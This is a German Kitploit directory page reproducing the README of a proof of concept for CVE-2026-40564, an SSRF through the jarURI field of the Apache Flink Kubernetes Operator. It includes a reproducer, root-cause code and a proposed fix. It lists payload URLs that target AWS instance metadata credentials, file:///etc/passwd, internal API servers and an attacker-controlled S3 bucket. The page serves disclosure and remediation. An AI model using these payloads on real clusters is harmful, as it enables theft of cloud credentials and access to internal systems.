Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-40564 — CVE-2026-40564: SSRF via FlinkSessionJob jarURI in apache/flink-kubernetes-operator. Self-contained reproducer that runs on a local kind cluster with one make command. | Kitploit
Tools/GitHubGitHub/oscerd/cve-2026-40564
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCloud Security
GitHuboscerd/cve-2026-40564

CVE-2026-40564

CVE-2026-40564: SSRF via FlinkSessionJob jarURI in apache/flink-kubernetes-operator. Self-contained reproducer that runs on a local kind cluster with one make command.

Repository anzeigen
vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-40564: SSRF via FlinkSessionJob.spec.job.jarURI in flink-kubernetes-operator

Der Apache Flink Kubernetes Operator prüft das Feld spec.job.jarURI in FlinkSessionJob- (oder FlinkDeployment-)Ressourcen nicht. Jeder, der eine solche Ressource erstellen kann, kann jarURI auf eine beliebige URL setzen. Wenn der Operator die Ressource abgleicht, ruft er diese URL aus seinem eigenen Pod ab. Das Schema kann http, https, file oder eines der Dateisystem-Plugins sein, die Flink mitbringt, sodass die Anfrage praktisch überall hingehen kann, wohin der Operator-Pod Zugriff hat.

  • CVE: CVE-2026-40564
  • Betroffen: flink-kubernetes-operator 1.14.0 und main (1.15-SNAPSHOT Stand 2026-04-09)
  • Gemeldet an [email protected] und [email protected] am 2026-04-09
  • Aufrufkette: SessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetch

Ausführung

root@kitploit:~
make verify

Dies führt fünf Schritte nacheinander aus:

  1. Erstellen eines lokalen kind-Clusters
  2. Installation des Operators (1.14.0) mit Helm
  3. Starten eines Flink-Session-Clusters und warten auf den JobManager
  4. Abruf einer neuen URL von webhook.site, dann Anwenden eines FlinkSessionJob, dessen jarURI darauf zeigt
  5. Abfragen von webhook.site und Ausgabe der eingegangenen Anfragen

Wenn es funktioniert, sieht das Ende der Ausführung wie folgt aus:

root@kitploit:~
==> [5/5] verify-ssrf
    target jarURI: https://webhook.site/<uuid>/exploit.jar
    target is webhook.site, confirming via its REST API...

    === webhook.site captured requests (newest first) ===
      2026-05-28 17:35:29  GET https://webhook.site/<uuid>/exploit.jar
        User-Agent: Java/17.0.17
        Source IP:  82.51.158.62

    CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
    Dashboard: https://webhook.site/#!/view/<uuid>

Der erste Durchlauf dauert etwa 6 bis 8 Minuten. Der größte Teil entfällt auf das Herunterladen des Images flink:1.17, das rund 700 MB groß ist. Spätere Durchläufe sind eher 3 Minuten.

Was Sie brauchen

docker, kind, kubectl 1.23 oder neuer, helm 3, make, curl und jq. Der Cluster muss Zugang zum Internet haben, um mit webhook.site kommunizieren zu können.

Auf eine andere URL verweisen

Standardmäßig holt das Makefile automatisch eine neue webhook.site-URL. Um die Anfrage an eine andere Adresse zu senden, setzen Sie SSRF_URL auf die vollständige jarURI, die Sie verwenden möchten. Sie wird so verwendet, wie sie angegeben wird.

root@kitploit:~
# eine bestimmte webhook.site-URL wiederverwenden
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar

# eigener Collaborator (Burp, interactsh, ein netcat-Listener usw.)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar

# AWS-Instance-Metadaten-Service
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# ein Nicht-HTTP-Schema, das von der Flink-Dateisystemebene verarbeitet wird
make verify SSRF_URL=file:///etc/passwd

Wie die Prüfung das Ergebnis bestätigt, hängt vom Ziel ab. Wenn die URL auf webhook.site liegt, liest das Makefile über dessen REST-API und gibt die aufgezeichneten Anfragen aus. Für alles andere wird das Operator-Log gelesen und nach dem Stack-Frame HttpArtifactFetcher.fetch gesucht, der anzeigt, dass der Abruf stattgefunden hat. WEBHOOK_URL funktioniert ebenfalls und bedeutet dasselbe wie SSRF_URL.

Aufräumen

root@kitploit:~
make cleanup

Dies entfernt den kind-Cluster. Es bleibt nichts zurück.

Warum das passiert

Drei Klassen sind beteiligt, und keine von ihnen prüft das Schema, den Host oder die IP in jarURI.

DefaultValidator.validateJobSpec prüft Parallelität, Upgrade-Modus, Snapshot-Einstellungen und Ressourcenform. Es liest nie job.getJarURI():

root@kitploit:~
private Optional<String> validateJobSpec(
        JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
    if (job == null) return Optional.empty();
    Configuration configuration = Configuration.fromMap(confMap);
    // ... Prüfungen zu Parallelität / UpgradeModus / Snapshot / Ressourcen ...
    // job.getJarURI() wird nie untersucht.
    return Optional.empty();
}

ArtifactManager.fetch wählt einen Fetcher basierend auf dem Schema aus. Es gibt keine Whitelist, und alles, was nicht http oder https ist, fällt auf die Flink-Dateisystemebene zurück:

root@kitploit:~
public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
    URI uri = new URI(jarURI);
    if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
        return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
    } else {
        return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
    }
}

HttpArtifactFetcher.fetch öffnet die URL wie angegeben. Es gibt keine Host-Prüfung, keine IP-Bereichsprüfung und nichts, was den Zugriff auf Loopback- oder Link-Local-Adressen verhindert:

root@kitploit:~
public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
    URL url = new URL(uri);
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("GET");
    File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
    try (var inputStream = conn.getInputStream()) {
        FileUtils.copyToFile(inputStream, targetFile);
    }
    return targetFile;
}

Was ein Angreifer erreicht

Der Operator läuft in der Regel mit weitreichenden RBAC-Berechtigungen. Das offizielle Helm-Chart gewährt * auf mehrere Ressourcentypen, einschließlich Secrets, und der Pod kann normalerweise uneingeschränkt auf das Netzwerk zugreifen. Wenn Sie ihn dazu bringen können, Anfragen für Sie zu senden, können Sie:

  • Cloud-Metadaten-Services (AWS, GCE, Azure) auslesen und die mit dem Operator-Knoten verbundenen IAM-Anmeldeinformationen abrufen
  • Dienste innerhalb des Clusters erreichen, die nur im internen Netzwerk lauschen oder der Quell-IP des Operators vertrauen
  • interne Ports blind scannen, das Ergebnis aus der Fehlermeldung im Status von FlinkSessionJob auslesen
  • file, s3, hdfs, gs oder jedes andere Flink-Dateisystem-Schema verwenden, um lokale Dateien zu lesen oder auf Speicher zuzugreifen, den der Operator erreichen kann, Sie aber nicht

In einem gemeinsam genutzten Cluster, in dem mehrere Teams denselben Operator verwenden, kann jedes Team ihn nutzen, um auf die Ressourcen eines anderen Teams zuzugreifen.

Andere funktionierende URLs

Der Reproduzierer verwendet standardmäßig webhook.site, aber der Bug fragt nicht nach der URL. Setzen Sie SSRF_URL oder bearbeiten Sie manifests/vulnerable-sessionjob.yaml auf eine der folgenden Angaben:

Behebung

Fügen Sie eine Prüfung in DefaultValidator.validateJobSpec ein:

root@kitploit:~
if (job.getJarURI() != null) {
    Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
    if (uriError.isPresent()) return uriError;
}
root@kitploit:~
private Optional<String> validateJarURI(String jarURI, Configuration conf) {
    URI uri;
    try {
        uri = new URI(jarURI);
    } catch (URISyntaxException e) {
        return Optional.of("jarURI ist keine gültige URI: " + e.getMessage());
    }
    String scheme = uri.getScheme();
    if (scheme == null) return Optional.of("jarURI muss ein Schema enthalten");

    Set<String> allowed = conf.get(KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES);
    if (!allowed.contains(scheme.toLowerCase(Locale.ROOT))) {
        return Optional.of("Das jarURI-Schema '" + scheme + "' ist nicht in der Whitelist");
    }
    if ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)) {
        InetAddress addr;
        try {
            addr = InetAddress.getByName(uri.getHost());
        } catch (UnknownHostException e) {
            return Optional.of("Der jarURI-Host kann nicht aufgelöst werden");
        }
        if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()
                || addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
            return Optional.of("Der jarURI-Host zeigt auf eine eingeschränkte Adresse");
        }
    }
    return Optional.empty();
}

Geben Sie KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES einen Standardwert von Set.of("https"). Betreiber, die s3 oder ein anderes Schema benötigen, können dies hinzufügen.

Zwei weitere sinnvolle Maßnahmen:

  • Fügen Sie eine NetworkPolicy für den Operator-Pod hinzu, die den ausgehenden Verkehr zu Link-Local (169.254.0.0/16), Loopback und den bekannten Cloud-Metadaten-Adressen blockiert.
  • Aktivieren Sie unter AWS IMDSv2. Selbst eine funktionierende SSRF kann dann den Metadaten-Service nicht ohne ein Session-Token lesen, und der Operator hat keinen Grund, ein solches zu senden.

Hinweise

Das Makefile umgeht zwei Probleme, die kind unter Linux beeinträchtigen. Jede Prüfung wird nur ausgeführt, wenn das Problem tatsächlich vorliegt, sodass es sicher ist, es erneut auszuführen.

  1. CoreDNS-Weiterleitung an Loopback. Mit systemd-resolved zeigt das /etc/resolv.conf des kind-Knotens auf 127.0.0.1, sodass der Cluster externe Namen auf localhost auflöst. Der Schritt cluster-up überschreibt die CoreDNS-Konfiguration, um an 1.1.1.1 und 8.8.8.8 weiterzuleiten.
  2. Der Operator-Pod erbt die DNS-Suchdomänen des Hosts. Bei ndots gleich 5 werden die Suchdomänen des Hosts zuerst an einen Namen wie webhook.site angehängt, und einige ISPs antworten mit 127.0.0.1 für Subdomänen, die sie nicht erkennen. Der Schritt install-operator gibt dem Operator-Pod eine eigene dnsConfig, sodass dies nicht passiert.

Wenn ein vollständiger Durchlauf teilweise fehlschlägt, können Sie make verify-ssrf separat ausführen. Es liest die jarURI aus dem laufenden FlinkSessionJob und verlässt sich daher nicht auf lokal gespeicherte Daten.

Tool herunterladen
jarURIErreicht
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>AWS IMDSv1, die IAM-Anmeldeinformationen des Knotens des Operator-Pods
http://10.0.0.1:6443/apiEin In-Cluster-API-Server oder jeder interne Endpunkt, der die IP des Operators auf eine Whitelist setzt
file:///etc/passwdDas eigene Dateisystem des Operator-Pods über den Zweig des Dateisystem-Fetchers
s3://attacker-bucket/x.jarS3 unter Verwendung der Anmeldeinformationen des Operator-Pods